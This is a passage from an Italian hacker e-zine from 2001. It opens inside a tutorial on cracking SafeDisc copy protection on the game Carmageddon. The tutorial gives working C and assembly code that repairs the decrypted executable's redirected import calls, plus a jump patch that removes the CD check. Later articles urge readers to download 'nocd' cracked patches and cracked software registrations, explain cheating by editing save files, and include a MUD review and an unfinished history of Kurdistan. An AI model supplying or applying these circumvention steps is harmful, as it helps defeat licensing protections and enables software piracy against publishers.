toread = 2641965; //filesize unsigned long letti, scritti, i, j, caller, caller2, caller3, argomento, func_id, id_swap; unsigned char *buffer,a,b,c,d, resto; j=0; // allocazione memoria per il file da aprire if ((buffer = (unsigned char *) malloc(3000000)) == NULL) { MessageBox("non allocato"); } //apriamo il file FileHandle = CreateFile("c:\\cracked4.exe", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (FileHandle == INVALID_HANDLE_VALUE) { MessageBox("Impossibile aprire il file", "Errore", MB_ICONHAND); return; } //leggiamo il file e mettiamolo nel buffer precedentemente allocato if (ReadFile(FileHandle, buffer, toread, &letti, NULL) == 0) { MessageBox("Impossibile leggere il file", "Errore", MB_ICONHAND); return; } //ora abbiamo un array di char che corrisponde a tutti i byte del file for (i=0x1000; i<0x1AF000; i++) { //cerchiamo le call [value] opcode FF15 if (buffer[i] == 0xFF && buffer[i+1] == 0x15) { a = buffer [i+2]; //ricomponiamo l'address chiamato b = buffer [i+3]; //codice schifosamente leim c = buffer [i+4]; // scusate ma vado di fretta :-) d = buffer [i+5]; __asm { xor eax, eax //orribile!!!! add al, d // avrei dovuto usare il filemapping shl eax, 8 add al, c shl eax, 8 add al, b shl eax, 8 add al, a mov argomento, eax // ecco l'iat-addr chiamato } //ora controlliamo se l'address chiamato //fa parte della iat che richiede il fixaggio argomento = argomento - 0x00400000; //togliamo l'imagebase if ((argomento > 0x001AF088 && argomento < 0x001AF220) || (argomento > 0x001AF24D && argomento < 0x001AF34C)) { //caller = 0x0018CEA1; caller = i; //indice array = caller offset caller2 = caller; caller = caller - 0x1000; //toglimo l'offset della .text caller3 = caller; //caller2 = caller; //duplichiamo il caller // questo è il codice copiato al dplayer // prima ROUTINE DECISIVA __asm { mov eax, caller rol eax, 0x99 neg eax add eax, 0x1850277C xor eax, 0x235734FC xor eax, 0x6EEF42E5 sub eax, 0x442C6000 add eax, 0x74003579 add eax, 0x2B690739 inc eax ror eax, 0xF8 sub eax, 0x7D046F17 dec eax xor eax, 0x53F92615 dec eax inc eax add eax, 0x001651DD add eax, 0x0ED90A22 ror eax, 0xAD ror eax, 0xCD dec eax xor eax, 0x21F21A92 dec eax dec eax dec eax dec eax neg eax rol eax, 0x8A neg eax rol eax, 0x6E dec eax xor eax, 0x0D5D1B1D sub eax, 0x5EB754C4 rol eax, 0x0D inc eax inc eax neg eax sub eax, 0x27BE10ED sub eax, 0x6D324B38 rol eax, 0xE7 add eax, 0x6BA210B5 add eax, 0x5EC56DA8 add eax, 0x5562779D sub eax, 0x211A079E dec eax ror eax, 0x5B inc eax xor eax, caller2 mov caller2, eax //seconda ROUTINE DECISIVA add eax, 0x59070A0B rol eax, 0x99 xor eax, 0x709F6F9C ror eax, 0x7C sub eax, 0x02D257F8 add eax, 0x6D171FBB sub eax, 0x6EEF42E5 ror eax, 00 add eax, 0x2B690739 ror eax, 0x79 rol eax, 0x53 rol eax, 0xF8 rol eax, 0x17 sub eax, 0x36B44B00 xor eax, 0x53F92615 ror eax, 0xC8 xor eax, 0x5F7864A1 add eax, 0x6B13406B ror eax, 0xDD sub eax, 0x0ED90A22 rol eax, 0xAD add eax, 0x6B7A5FCD sub eax, 0x389B33B8 add eax, 0x21F21A92 add eax, 0x1F986631 sub eax, 0x6D9C55CC ror eax, 0x2D xor eax, 0x5EB754C4 add eax, 0x19C9710D add eax, 0x4C8D64B8 add eax, 0x7F757EA4 rol eax, 0xF6 ror eax, 0xA7 sub eax, 0x371048A6 xor eax, 0x27BE10ED ror eax, 0x38 xor eax, caller2 // dobbiamo fixare?? xor edx, edx mov ecx, 4 div ecx mov resto, dl } if (resto < 2) { //kernel fix if (argomento > 0x001AF088 && argomento < 0x001AF224) { id_swap = ((argomento - 0x001AF08C) / 4) + 0x66; //prendi eid func_id = (0xBBD031D4 + caller3) % 0x66; func_id = id_swap - func_id; func_id = func_id % 0x66; argomento = (func_id*4) + 0x001AF08C + 0x00400000; //argomento VA corretto __asm { mov eax, argomento mov a, al shr eax, 8 mov b, al shr eax, 8 mov c, al shr eax, 8 mov d, al } buffer[i+2] = a; buffer[i+3] = b; buffer[i+4] = c; buffer[i+5] = d; } //user fix if (argomento > 0x001AF24C && argomento < 0x001AF34C) { id_swap = ((argomento - 0x001AF250) / 4) + 0x3F; //prendi eid func_id = (0xBBD031D4 + caller3) % 0x3F; func_id = id_swap - func_id; func_id = func_id % 0x3F; argomento = (func_id*4) + 0x001AF250 + 0x00400000; //argomento VA corretto __asm { mov eax, argomento mov a, al shr eax, 8 mov b, al shr eax, 8 mov c, al shr eax, 8 mov d, al } buffer[i+2] = a; buffer[i+3] = b; buffer[i+4] = c; buffer[i+5] = d; } } } } } //salva il file fixato FixedHandle = CreateFile("c:\\cracked5.exe", GENERIC_WRITE, NULL, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); if (FixedHandle == INVALID_HANDLE_VALUE) { MessageBox("Impossibile scrivere c:\\cracked5.exe: file già esistente?", "Errore", MB_ICONHAND); return; } letti++; WriteFile(FixedHandle, buffer, toread, &scritti, NULL); MessageBox("File Fixato!", "Completato", MB_ICONASTERISK); CloseHandle(FileHandle); //rilasciamo gli handle dei file CloseHandle(FixedHandle); free(buffer); //e liberiamo la memoria allocata prima } -----------------------------END--------------------------------------------------------------------------------------- ecco fatto. Questà è la routine del fixer (MFC as usual :-)). Prende in input il file cracked4.exe e restituisce il file fixato in cracked5.exe. Beh ormai abbiamo finito! Fixiamo il programma... Fatto. Mi copio cracked5 nella cartella di carmageddon, lo lancio... crash! Arggghhhhh IO LO AMMAZZO!!!! Come crash???? Okei, facciamo appello alla nostra santa pazienza e andiamo a vedere cosa minchia è che provoca il crash. Usate il loader del softice, lanciate il programma, tracciate, tracciate, troverete che la linea del crash è un ret. Analizzando qualche call in precedenza troviamo la linea 004E78B2 CALL [005AF220] che chiama WideCharToMultyByte. Questa api è sbagliata, infatti come al solito provoca lo scompenso nello stack e quando arriviamo al RET sono dolori. Eseguiamo il carmageddon originale e al posto di tale call troviamo una call a GetFileAttributesA. Bene, sosituite la call da CALL [005AF220] a CALL [005AF198] lanciate ed ora il programma funzionerà correttamente :-) Il gioco gira i pedoni muoiono. Allora perchè questo cazz di errore? Boh... non sono stato ad indagare più di tanto, semplicemente la call originale chiama 005AF220 che è l'ultimo elemento dell'array dei FirstThunk, forse c'è un trick che non ho visto che oblliga sempre il fix di questa call, ma del resto, chi se ne frega!!! Cambiata a mano con l'HexEditor funziona benissimo. Se doveste incontrare qualche altro errore di questo genere (ma non credo, ho fatto girare il prog in lungo e in largo e funziona benissimo) basterà procedere analogamente. ----------------- FINALMENTE ARRIVIAMO AL CD CHECK!! Ora abbiamo il programma decriptato e funzionante, ma richiede sempre il cd originale per runnare!! Vabbè, ora non vi resta che tracciare la messagebox di errore, risalire di qualche riga fino a 00401963 JNZ e trasformarlo in JUMP incondizionato, così eviterete sempre il cd check. Tutto questo casino solo per uno stramaledetto jump!!!!!!!! CONSIDERAZIONI FINALI Questo tute l'ho scritto nelle 3 settimane in cui ho lavorato, l'ho portato avanti a ritmi di 10 minuti al giorno, quindi perdonatemi se non è proprio il massimo della comprensibilità. Ho letto molti tute su safedisc (cod, BlackCheck, risc e qualche altro), ma di sicuro questo è il più dettagliato! Avrei voluto aggiungere tutto il codice del DPLAYER commentato, ma causa tempo (e poca disassemblabilità) ho riportato solo le linee principali. Mi è sembrato abbstanza strano l'errore del fixer, cmq mi sono scocciato di esaminare il dplayer (ormai lo so a memoria), quindi fixata a mano quella dword il mio lavoro è finito, ma voi potete tranquillamente ricercare il perchè di quello stupido errore :-). Il codice del fixer è orribile, ci ho lasciato parecchie linee che usavo per debug e che non servono al prog, ma l'importante è che funziona. Ricordate che in questi casi è meglio usare la tecnica del filemapping piuttosto che il CreateFile con il buffer. Ora che ci penso, il gioco fa tutto quel giro col dplayer e la locazione di ponte ogni volta che chiama un'api e questo va a scapito dell'efficienza del programma... Non solo abbiamo un file decriptato e perfettamente ricostruito, ma anche più efficiente!! Questa è una delle ultime versioni di safedisc, è la r4, Yado mi ha detto che ora c'è la r5 e che funziona allo stesso modo. FINE DEL TUTORIAL (pant pant!) ---------------------------------GREETS---------------------------------------- Saluto tutti gli amici della UIC, in particolare saluto Yado che mi ha dato delle dritte per questo SafeDisc, ZeroByte che si è fatto un mazzo per dare un bell'aspetto alla UIC, e Luca, al quale devo molto: grazie di cuore. Un Super Grazie anche a Ritz, che mi ha mandato i Cd (qualcuno di troppo!), e last but not least Kill3x, che è sempre gentilissimo e grandissimo (con tutto il rispetto per l'eccelso Xoa, è chiaro!) :-) E anche Nu, che finalmente è sceso tra noi in #crack-it!! E poiiiii ancora Nerds, che dopo mesi di assenza si fa sentire!!!! Ciauz gente! ps Que, ancora non lo hai rivinto il titolo di FOUNDER! Bye AndreaGeddon Some Stuff: www.andreageddon.com / www.andreageddon.8m.com andreageddon@hotmail.com www.uic-spippolatori.com +--------------------------------------------------------------------------------+ | THE END c u next number :-) | +--------------------------------------------------------------------------------+ <-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-> +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [MISC] #01 - 19/03/2001 | | Gi0CARE 0n-LiNE ........................................... [Mysha] 0x10/0x1A | +-------------------------------------------------------------------------------+ Rieccomi qui... Sono una vera sapienza...(non tiratemi insulti, scherzavo:PPP). Nella puntata scorsa avevamo introdotti i MUD, cosa sono, come sono e, sopratutto come si fa a giocarci. Nell'articolo che segue spiegheremo passo passo il MUD The Gate. In questa sezione invece volevo dedicarmi al gioco via rete, sia locale che internet perche' mi sono arrivate 10000000 di mail per chiedermi come si fa. Non mi metto ora a spiegare come configurare una rete locale (anche se basterebbero due righe) perche' non mi sembra pertinente all'articolo, ma spiegheremo che parametri ci servono e come giocarci. Innanzitutto, regola fondamentale, per ogni gioco ci vuole un CD originale per ogni PC che vuol giocare...heheheheh... teoricamente si, praticamente NO. Andremo su www.astalavista.box.sk e cercheremo il titolo del gioco con la scritta accanto "nocd" attaccato o staccato e ci scarichiamo la patch. Questo ci permette di non usare neanche un CD!!! ma dovremo quasi sempre fare le installazioni FULL del gioco. Apriamo quindi il gioco. In ogni gioco in Multiplayer avremo 2 opzioni: Host o Join. Un pc, fara' da host e gli altri da 'client'. L'host non dovra' scrivere nessun parametro, ma dovra' fornire agli altri il suo indirizzo IP della rete locale (lo si trova sotto rete nel pannello di controllo nel protocollo TCP/IP della scheda di rete). Gli altri giocatori cliccheranno su join e configureranno l'indirizzo IP mettendo quello dell'host. Consiglio caldamente di usare come protocollo il TCP/IP perche' molti giochi non funzionano con gli altri (diciamo che altri accettano solo l'IPX). Una volta fatto questo...beh possiamo giocare in rete:) Semplice no? Ora passiamo ad internet.... Per giocare via internet con altri giocatori avremo 2 possibilita': La prima e' quella di farci passare il loro indirizzo IP di connessione e fare come se fosse una rete locale...state attenti pero' se fate voi gli host perche' ci potrebbero essere in giro i lameracci che vi saltano addosso al pc se date il vostro IP in giro a cani e porci, quindi giocate in questo modo solo con chi conoscete bene! L'altro metodo e' quello di appoggiarsi a server che gestiscono tutto loro. Uno di questi e' Gaming-Zone MSN di Microsoft (forse il migliore purtroppo:(() Al sito www.msn.com avremo la sezione Giochi online e ci dovremo iscrivere gratuitamente. Alcuni giochi scaricheranno delle patch per farli funzionare....beh qui attenti..molto attenti! Se avete giochi masterizzati le patch non vi faranno piu' andare il gioco perche' richiederanno il cd originale, quindi bisogna cercare da www.astalavista.box.sk la patch cracckata in modo da avere il gioco funzionante anche senza cd originale!!! +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [MISC] #01 - 19/03/2001 | | MUD: THE GATE ............................................. [Mysha] 0x11/0x1A | +-------------------------------------------------------------------------------+ The Gate....Fantastico ecco tutto. Per inizare a giocarci, dovrete andare sul loro sito e richiedere tramite mail di giocare. (thegate.ngi.it senza nessun www!!!) Premetto dicendo che e' tutto gratuito. Dovremo scaricare il client per questo gioco che a mio avviso e' ben studiato, leggero e di ottima intuitivita'. Appena entrati avremo l'occasione di creare il nostro pg e inizare a giocare. Di bug se ne sono visto molti ai tempi e, ce ne si approfittava molto, ma oggi diciamo che sono tutti scomparsi... La vera forza di The Gate che neanche a crackkare variabili e quant'altro non so puo' fare nulla perche' tutto e' gestito dal server... Pero' e' un gioco che merita impegnarsi ...lo merita. Il gioco non ha classi vincolate ne punti esperienza come tutti gli altri mud, ma al contrario porta una libera interpretazione del proprio Personaggio. Nel mud non si vive solo combattendo bensi' lavorando come minatori, boscaioli, falegnami, cacciatori, tessitori, fabbri, ecc ecc. e si ha addirittura possibilita' di fare una cariera politica. Per i piu' facoltosi c'e' anche la possibilita' di crearsi una propria citta'. Il gioco e' qualcosa di innovativo anche secondo le abilita'. Anche se io sono una condottiera, posso apprendere 'Taglio e cucito' per esempio o, se sono una macellaia posso apprendere 'tagliare il legno'. Cosi' facendo permette di cambiarsi nel corso della vita senza ricominciare sempre da zero con un nuovo personaggio. I comandi di gioco e tutto il mondo e' COMPLETAMENTE in italiano e, con comandi intuitivi e spontanei da ricordare. Darei un bel 9 a questo mud...la sola pecca che per intanto non ci sono molte campagne da intraprendere...ma da quel che dice l'implementor arriveranno anche queste. Inoltre se volete venire a giocare scrivetemi che sto arruolando persone di tutti i generi e di tutti i mestieri per creare una cittadella SENZA TASSE. scrivetemi a mysha@galactica.it Vi saluto ora... Alla prossima Baci Baci Mysha +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [MISC] #01 - 19/03/2001 | | TRUCCHiAM0 i N0STRi Gi0CHi................................. [Mysha] 0x12/0x1A | +-------------------------------------------------------------------------------+ Vorrei semplicemente premettere che con questo articolo, non voglio sovrappormi al lavoro di nessuno della redazione, ma solo entrare in specifico su come applicare delle piccole regole intuitive e pedestri per coloro che non hanno una grande abilita' o dimestichezza con gli applicativi di cracking di un pc. Ed ora, dedichiamoci al nostro articolo. Il materiale necessario, sara' un comparatore di file e un editor di esa decimale. Come consiglio, visto che contiene sia l'uno che l'altro, vi indico l'Hex Editor reperibile al sito http://www.bpsoft.com e semplicemente registrabile tramite www.astalavista.box.sk. In caso abbiate altri software, potete anche usare come comparatore il classico comando "FC" dal prompt di MS-DOS. Ora passiamo alla parte pratica. Decidiamo ora la variabile da cambiare. Prendiamo per esempio un qualsiasi gioco e, decidiamo di cambiarne la quantita' dei soldi che abbiamo. Apriremo quindi un nuovo gioco o un gioco precedentemente salvato e, farmeo quanto segue: 1- Eseguiremo un salvataggio immediato del gioco. In caso che il gioco porti un opzione di tempo mettiamo il gioco in pausa e salveremo. 2- Lasciando il gioco in pausa, andremo in una qualsiasi opzione che ci faccia cambiare il valore dei nostri soldi e, risalveremo con un nuovo nome il gioco. 3- Chiudiamo il gioco e ci dedichiamo alle nostre hex. Per prima cosa compareremo i due file e vedremo le parti che cambiano tra i due salvataggi. Ci verra' fornita sicuramente una lista medio-lunga di valori cambiati (varia da gioco a gioco) e, scriveremo la posizione di ciascun esa decimale diversa. A questo punto apriremo il nostro Hex Editor. Bene, ora tocca al nostro intuito trovare qual'e' l'esa da cambiare. Potete fare a tentativi, ma vi consiglio una strada migliore anche se un po' scervellotica. Analizzeremo la grandezza della variabile dei soldi, cioe', se la variabile del gioco sara' inferiore a 255 potremmo dire che nel salvataggio potremo trovare un campo di una esa cambiata con magari prima e dopo questa esa decimale dei null (hex 00). Se la variabile e' minore di 65025 avremo 2 ese affiancate (255*255). Qui sta un po' al vostro intuito trovare la locazione giusta. Vi posso inoltre dire con la mia esperienza (lo faccio sin dai tempi di AMIGA) che il 90% dei giochi pone le variabili dei soldi nei salvataggi o nella parte iniziale o in quella finale del file. Quindi non vi resta che salvare il file modificato al posto di un originale e, provare. In bocca al lupo:) P.S. Questo procedimento e' molto utile per cominciare ad avere dimestichezza con gli Hex editor e, cominciare a capire qualcosa di tutti quei numerini che compaiono nel guardare un file. Comunque esiste un programma utilissimo per qualunque variabile che si chiama "CHEAT O'MATIC" che permette di cambiare il valore nel gioco di tutte le variabili di ambiente, basta fargli fare qualche ricerca. Lo trovate semplicemente cercandolo da qualsiasi motore di ricerca. Baci Baci. Mysha +-------------------------------------------------------------------------------+ | ONDAQUADRA MAGAZINE ~ [MISC] #01 - 19/03/2001 | | C0NSiDERAZi0Ni SUL KURDiSTAN ................................ [BLa] 0x13/0x1A | +-------------------------------------------------------------------------------+ Scrivere oggi sul Kurdistan, senza dire cose che non siano già state dette, è un bel problema. Soprattutto perché ormai tutti hanno dimenticato. Lontano dai media lontano da tutto e da tutti. Rinuncio dunque alla cronaca e inizio a cercare all'indietro. Del presente si è detto tutto: decido di osservare il passato. Libri saggi, poesie, raccolgo ogni frammento. Ripartendo da zero. E per capire ascolto, cercando di farmi una idea del popolo Kurdo. Leggo qua e là finché non sento il bisogno di scrivere. Ma da dove cominciare? Scavare in una vicenda del genere vuol dire non sapere dove si andrà a finire. Dietro ogni cosa ce ne sta un'altra e un'altra e un'altra ancora. Iniziamo per piccoli passi. Qualcuno ricorda Ocalan? E' il 1999 ne parlano tutti i giornali. Terrorista o patriota? Liberatore o oppressore? Qualcuno forse ricorda questi interrogativi. Quest'uomo lontano è il filo tenue che lega la consapevolezza occidentale a una questione dimenticata. Abdullah Ocalan appartiene al popolo kurdo. Nella sua banalità questo assunto fondamentale è la chiave di tutto. Prima di ogni altra cosa, Ocalan riportò brevemente la nostra attenzione sulla guerra che sconvolge un popolo. Era il 1999. Nel tempo che è trascorso il Kurdistan, ci è scomparso dalla vista. Perciò bisogna ricostruirne l'immagine sbiadita. Contestualizzare la vicenda nello spazio e nel tempo: necessità di partire dalla geografia e dalla storia. Prima di tutto farsi una idea del territorio. Il Kurdistan è distribuito in quattro paesi, occupa gran parte dell'Iran nordoccidentale, si estende nell'Iraq nordorientale, in Armenia, nella Turchia orientale e nella Siria nordorientale. La regione interessa il settore nordoccidentale dei monti Zagros che costeggiano ad est il golfo persico (un sistema che comprende colline ricche di giacimenti petroliferi), dalla sezione orientale dell'altopiano dell'Anatolia, dal Lago Urmia (Iran), dal Lago Van (Turchia) e dall'Aragats Lerr (Armenia), poco più a nord del Biblico Monte Ararat. Il popolo kurdo è un popolo ricco di tradizioni e di storia. Probabilmente ben pochi sanno che Saladino, il sultano che guidò i musulmani alla conquista di Gerusalemme nel 1187 e che nel 1192 trattò la pace con il cristiano Riccardo Cuor di Leone, era kurdo. Il Kurdistan conquistato dagli arabi nel VII secolo, è rimasto legato ai destini dell'impero ottomano fino alla sua dissoluzione nel XIX secolo. Il regno dell'emiro turco Osman I (dal 1282 al 1326) segnò l'inizio di un impero destinato a mettere in crisi le grandi potenze occidentali. La capitale, fissata da Osman I a Bursa, vicino al Bosforo, fu trasferita a Istanbul da Maometto II, uno dei più raffinati uomini di cultura dell'epoca. Maometto II (1451-1481), rimasto negli annali della storia per la conquista di Costantinopoli del 1453, e - ironia della storia – esempio ante litteram di sovrano tollerante e illuminato, aveva rinnovato la legislazione dell'impero ottomano prevedendo la libertà di culto, di lingua e di religione. Sotto la reggenza di Solimano il Magnifico 1520-1566, l'impero Ottomano raggiunse l'apice della sua forza e della sua espansione territoriale arrivando a estendersi dai Balcani ad Algeri, dalla Crimea allo Yemen, e giungendo perfino a minacciare gli stati dell'occidente con l'assedio di Vienna. Nel 1639 un trattato fra gli imperi persiano ed ottomano sottomise a queste due potenze i principati in cui era diviso il Kurdistan, operando un primo raggruppamento fra i piccoli stati kurdi, e segnando l'inizio di un destino. L'impero Ottomano, gravato da una forte crisi economica, si sfaldò soltanto alla fine del XIX secolo, portando alla proclamazione della Repubblica Turca nel 1923. Ma il suo disfacimento fu la causa della frammentazione dei territori del Kurdistan. Ai primi del Novecento, fermenti nazionalistici incominciarono a diffondersi nell'impero ottomano e in tutto il Medio Oriente. Anche i Kurdi, consapevoli della loro identità etnica, svilupparono l'idea di un Kurdistan unito e indipendente. Nel 1909, sotto Maometto V, una rivoluzione, intesa a trasformare l'impero Ottomano in uno Stato Costituzionale, portò al potere il raggruppamento dei Giovani Turchi. Questa svolta favorì la nascita, a Costantinopoli, di associazioni politiche, sociali e culturali di matrice kurda. Il partito dei Giovani Turchi governò, fino alla fine della prima guerra mondiale. Nel 1918 nacque la prima Associazione per il Sollevamento Kurdo e nello stesso periodo fu fondato il Partito Nazionale Kurdo. Il Trattato di pace con la Turchia firmato dagli alleati a Sèvres nel 1920, riconobbe il diritto all'indipendenza dei Kurdi e anticipò la costituzione di uno stato autonomo in luogo dell'antico Kurdistan ottomano. Dal 1920 al 1923, la Turchia fu teatro di una guerra di indipendenza portata avanti con l'appoggio militare dei Kurdi che agivano in vista delle promesse d'autonomia ricevute. Ma all'abolizione del sultanato nel 1922, raggiunti gli scopi che avevano spinto alla guerra, non si ebbero cambiamenti sostanziali nella condizione kurda. Il trattato di Losanna del 1923, a cui fu demandata la questione territoriale - dove i kurdi non furono convocati - ruppe l'unità etnica, culturale e geografica del Kurdistan. La popolazione kurda venne assorbita da altri stati, assumendo la condizione di minoranza etnica. Da questo momento in poi manca un riconoscimento effettivo dell'esistenza e dei diritti della popolazione kurda. La reazione dei Kurdi in Turchia venne repressa militarmente. Un tentativo autonomistico venne messo in atto nel Kurdistan iracheno dove l'Inghilterra aveva tentato, a seguito del trattato di Sevrès, di imporsi prima con un dominio diretto e poi con una monarchia filobritannica nel 1922. Ma l'autoproclamazione del regno del Kurdistan fu vanificata dall'intervento inglese. Nonostante questo ai Kurdi si promise una certa autonomia nell'ambito dello stato iracheno. In seguito il problema dell'autonomia passò in secondo piano, allorché furono scoperti ricchi giacimenti petroliferi nel Kurdistan iracheno (provincie di Mosul e di Kirkuk). Quando nel 1930 l'Iraq raggiunse l'indipendenza, la situazione nel kurdistan peggiorò. Finché, con l'ingresso dell'Iraq nella Società delle Nazioni nel 1932 il principio dell'autonomia kurda venne definitivamente rifiutato. Tale decisione trovò l'opposizione dello sceicco del Barzan, regione a nord-est dell'Iraq. Lo sceicco diede l'avvio a un forma di resistenza armata con un manipolo di uomini che formavano un piccolo esercito di sudditi. Nel 1943, durante la seconda guerra mondiale, i Barzani ripresero le ostilità riuscendo ad estendere la rivolta. Nel 1945 furono definitivamente sconfitti e costretti a rifugiarsi in Iran dove era nata una Repubblica Kurda (sostenuta e finanziata dall'Unione Sovietica) che occupava i monti nel territorio dell'Azerbaigian persiano. La proclamazione avvenne nel 1946 ad opera del Partito Democratico del Kurdistan (PDK), di ispirazione comunista, sorto nel 1944. L'ala sinistra del Partito Democratico del Kurdistan e una parte del Comitato della Gioventù del Kurdistan, fondarono nel 1944 il Partito della Liberazione Kurda (PLK). Dopo meno di un anno, l'esperienza della Repubblica Kurda subì la sconfitta da parte delle truppe regolari persiane, sconfitta cui fece seguito una dura repressione che indusse i superstiti a cercare rifugio in URSS e in Iraq. Alla proclamazione della Repubblica Araba Unita nel 1958, il Partito Comunista Irakeno (dove erano confluiti alcuni dei reduci dell'esperienza della Repubblica kurda) e il PDK, come le altre forze progressiste, collaborarono con il governo repubblicano. Viceversa il governo mostrò un segno di apertura con l'inserimento di un rappresentante kurdo nel Consiglio di Sovranità , il massimo organo istituzionale del governo repubblicano. Ma il mancato ingresso dell'Iraq nella Repubblica Araba Unita, spinse alcune frange conservatrici a tentare un golpe militare respinto dai sostenitori del governo. Mentre la Repubblica Araba Unita, dopo la rivendicazione del Kuwait, (posto sotto l'influenza britannica), decideva nel 1961 per l'intervento militare nell'Emirato, i Kurdi, non potendo tollerare il silenzio del governo sul riconoscimento dei loro diritti, scatenarono al Nord una rivolta che impegnò l'esercito bloccando l'operazione in Kuwait. Le truppe regolari si trovarono a fronteggiare l'Armata Rivoluzionaria Kurda (ARK). In breve tempo la rivolta dilagò e nel 1962 vi aderì anche il PDK. Nel 1963 un colpo di stato portò al potere un governo che mostrava, ancora una volta, qualche apertura verso il movimento kurdo. Il nuovo Presidente riconobbe i diritti nazionali del popolo kurdo. In questo clima il PDK presentò un pacchetto di richieste fondamentali: istituzioni kurde a carattere nazionale, partecipazione al governo della Repubblica, concessione di una parte dei ricavati del petrolio. Ma infine il neo-presidente respinse le richieste e i combattimenti ripresero. Nel 1964 fu promulgata una nuova Costituzione che ignorava completamente la questione kurda. Nel 1968 una ulteriore Rivoluzione portò al potere il Partito Arabo Socialista. Ma nonostante le aperture mostrate dal governo rivoluzionario, i Kurdi, resi guardinghi dalle passate vicende, ripresero i combattimenti, giudicando troppo lento il corso delle trattative. Nel 1970, nonostante le difficoltà di dialogo con il governo, fu proclamata l'Autonomia del popolo kurdo nell'ambito della Repubblica Irachena. Per la prima volta veniva ufficialmente sancito il principio che la popolazione irachena comprendeva due nazionalità: l'araba e la kurda. La Costituzione rinnovata dal governo socialista contemplava due principi fondamentali: Il popolo iracheno è composto da due nazionalità principali; l'araba e la kurda. La lingua kurda é la lingua ufficiale accanto alla lingua araba nella zona kurda. La costituzione riconosceva inoltre i diritti nazionali del popolo kurdo e di tutte le minoranze nell'ambito dell'unità irachena. Nonostante il miglioramento della situazione il PDK era spaccato al suo interno tra i fautori della lotta ad oltranza, rappresentativi di interessi extranazionali, e i sostenitori della mediazione, rappresentativi degli interessi del popolo kurdo. Il disordine creato dalla guerriglia kurda aveva lo scopo di distogliere l'Iraq dal fronte israeliano e di costringerlo a rivedere le frontiere a vantaggio della Persia. Il 1972 fu l'anno della nazionalizzazione del petrolio. Il danno economico e politico indusse le potenze straniere interessate dagli indotti del petrolio a introdursi negli affari interni dell'Iraq. Lo scopo era quello di tenere viva una guerra di logoramento in grado di indebolire il governo. Paradossalmente la guerriglia si volgeva contro un governo che aveva riconosciuto i diritti del popolo kurdo. Non solo. Prestandosi a diventare strumento di repressione contro i kurdi dell'Iran, la frangia sostenitrice delle guerriglia si alleava con un governo che non concedeva ai kurdi neppure i più fondamentali diritti umani. Nel 1980 ci fu un ennesimo colpo di stato in Turchia cui seguì nel 1984 la repressione del popolo kurdo. Il Partito dei Lavoratori Kurdi, fondato nel 1978 da Abdullah Ocalan, decise allora per la lotta armata come strumento per la creazione di uno stato indipendente. Da quel momento in poi gli scontri con l'esercito furono continui. Nel 1991, dopo la Guerra del Golfo, la forza multinazionale rese autonome le provincie kurde, e nel 1992 si costituì il parlamento. Il Governo turco cercò però di isolare il PKK. Nel 1994 dopo la scioglimento del Partito della Democrazia (DEP) kurdo, i Ministri degli Esteri di Siria, Iran e Turchia dichiarano il rifiuto di uno stato kurdo indipendente in Iraq. A seguito di questa dichiarazione vennero bombardati i campi profughi in Iraq. Nel 1995 l'esercito turco invase il Kurdistan iracheno per sbaragliare la guerriglia. Gli Stati Uniti appoggiarono la mossa, mentre l'Europa chiese l'immediato ritiro e il rispetto dei diritti umani; tuttavia la situazione nel nord dell'Iraq non cambiò. In quello stesso anno il Parlamento kurdo in esilio s'insediò all'Aia, quartier generale della Corte internazionale di giustizia dell'ONU, imponendo così la questione all'attenzione del mondo. Ma i governi turco, iraniano e iracheno negano l'esistenza di un Kurdistan autonomo. A tutt'oggi il partito dei lavoratori kurdi di ispirazione marxista conta un vero e proprio esercito tra simpatizzanti, guerriglieri e miliziani. E qui la questione si fa spinosa. A questo punto non si può più distinguere tra governi rei e oppositori vittime. I ruoli si invertono e si intrecciano ripetutamente. Secondo i rapporti di Amnesty International in Turchia, i gruppi armati di opposizione sono responsabili di uccisioni di civili, tra cui donne, bambini, prigionieri, contadini. Amnesty denuncia le violazioni dei diritti umani commesse dai gruppi di opposizione armata: cattura di ostaggi, tortura, uccisione di persone che non hanno partecipato al conflitto. Le vittime del braccio armato del PKK sono state in prevalenza i curdi dei villaggi, uccisi a centinaia perché facevano parte del sistema di guardie dei villaggi. Ma anche a questo proposito è difficile vedere con chiarezza in una situazione così complessa. Sempre il dossier di Amnesty ci informa che nel 1994, il governo ha accusato il PKK di aver massacrato undici uomini vicino a un villaggio. Ma alcune indagini indipendenti hanno portato a supporre che si sia trattato di una operazione delle forze di sicurezza, fatta poi ricadere sul PKK. Cito testualmente il dossier di Amnesty: “Del resto il governo turco, è tutt'altro che estraneo a episodi di violenza. Sono fatto comune in Turchia, la sparizione, la tortura, l'esecuzione degli oppositori. La violenza politica è un problema molto serio da almeno trent'anni. I governi che si sono succeduti hanno negato le violazioni dei diritti umani o le hanno giustificate come inevitabili conseguenze dell'azione in difesa della sicurezza nazionale. Il risultato di ciò è che oggi, in Turchia, nessuno gode di una vera e propria sicurezza personale. La comunità internazionale ha chiuso un occhio sul rispetto dei diritti umani in Turchia, e si è limitata a fare da eco alle dichiarazioni del governo turco, secondo le quali la minaccia alla sicurezza nazionale deve essere vinta a qualsiasi costo. Ha voluto considerare i provvedimenti di facciata presi dalle autorità turche come progressi nella protezione dei diritti umani, e ha posto gli interessi del commercio e della politica davanti alla sicurezza dei cittadini.” Finché si arriva alla cronaca quotidiana. Il 12 novembre 1998 il leader del PKK è stato arrestato dall'INTERPOL all'aeroporto di Fiumicino. Appena sbarcato da un aereo proveniente da Mosca, è stato tradito dal falso passaporto turco. Ocalan, che guida dal 1984 la rivolta armata contro il governo turco per ottenere la creazione di uno Stato curdo indipendente nel sudest della Turchia, si era rifugiato a Mosca a metà ottobre. "Sono disposto a sottopormi a un processo.” – ha detto il leader - “Potrebbe essere in Italia, ma forse i curdi non capirebbero perché il vostro paese prima mi accoglie e poi mi processa. Forse in Olanda o in Austria. Basta che non si affronti solo il mio caso personale, ma l'intero problema curdo. L'Italia può giocare un ruolo fondamentale per far concentrare l'Europa sulla questione del Kurdistan.” E parlando dei suoi timori sottolinea il pericolo che Turchia e Usa cerchino di impostarlo come caso individuale, dicendo: è un 